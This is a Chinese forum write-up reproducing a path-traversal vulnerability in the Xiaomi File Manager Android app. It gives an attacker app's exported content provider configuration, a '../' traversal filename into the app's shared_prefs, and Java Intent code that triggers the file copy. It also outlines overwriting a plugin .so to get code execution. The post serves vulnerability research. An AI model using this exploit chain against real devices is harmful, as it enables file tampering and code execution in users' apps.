下载地址:https://apkpure.com/cn/file-mana ... leexplorer/versions
选择:2023年03月06 应用V1-210567版本
对标文章内容
01
结论:漏洞利用前置要求比较高,需要在手机上安装App并且要提供content provide组件,这个App的数据库里还必须写上穿越路径,之后发送Intent调起小米文件管理器,需要手动点击粘贴才行。
漏洞是能代码执行,但是不实用。
Detail:
​ 漏洞成因是xiaomi读取我提供的content provide(不懂的自己去查)的 "_display_name"字段 没有过滤 "../"导致可以拼接穿越路径。
补丁前后对比:
主要函数
05
06
补丁前:
03
补丁后:
04
利用:
创建攻击者App并提供Content Provide组件,是为了让xiaomi App读攻击者提供的带"../"的字符串内容。
攻击App的Manifest.xml配置如下:
[XML] 纯文本查看 复制代码 <provider
android:name=".MyContentProvider2"
android:authorities="com.hx.exploit2"
android:enabled="true"
android:exported="true"></provider>
<provider
然后创建数据库并写入三个字段 '_size','_display_name','_data'.
其中display_name是可控的路径,攻击者向这个字段写入如下内容:
[Bash shell] 纯文本查看 复制代码 ./../../../../../../../../../../data/data/com.mi.android.globalFileexplorer/shared_prefs/hx.txt
漏洞成功执行会在xiaomi App沙箱中的shared_prefs目录下创建hx.txt文件。
要写入的文件是攻击者App使用intent传递的。
[Java] 纯文本查看 复制代码 Uri uri = Uri.parse("content://com.hx.exploit/exploit.txt"); // 这里提供写入的文件路径
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.mi.android.globalFileexplorer","com.android.fileexplorer.activity.CopyFileActivity"));
intent.putExtra("from_private",true);
intent.putExtra("inner_call",true);
intent.putExtra("explorer_path","content://com.hx.exploit/exploit.txt");
intent.setData(uri);
intent.setAction("android.intent.action.SEND");
startActivity(intent);
攻击者App使用这个Intent发送给xiaomi App。xiaomi App会解析Intent中的Uri内容并访问注册名为com.hx.exploit的content provide 组件(攻击者App) ,使用openFileDescriptor()函数读取文件内容。攻击者App重载实现了openFile()函数,这样达到了写入内容可控。有了路径穿越就可以写xiaomi App沙箱内任意文件。
07
攻击者App在assets资源目录下创建exploit.txt为要写入的文件内容。当执行到openFile函数时攻击者App把exploit.txt转存至自己的沙箱目录中并将文件句柄返回给xiaomi App。
08
攻击者App主动发送Intent给xiaomi App使它执行到文件拷贝的Activity页面,点击粘贴按钮完成路径穿越写入。
09
跳转至xiaomi App
10
11
文章中说覆写垃圾清理插件的so,可达到任意代码执行效果。先修改com.mi.android.globalFileexplorer_preferences.xml文件中的libixiaomifileu.so_hm5字段,然后将攻击者的so文件写入。
12
插件路径
13
同理wps app应该是类似的。
[1] https://www.microsoft.com/en-us/ ... rn-in-android-apps/
|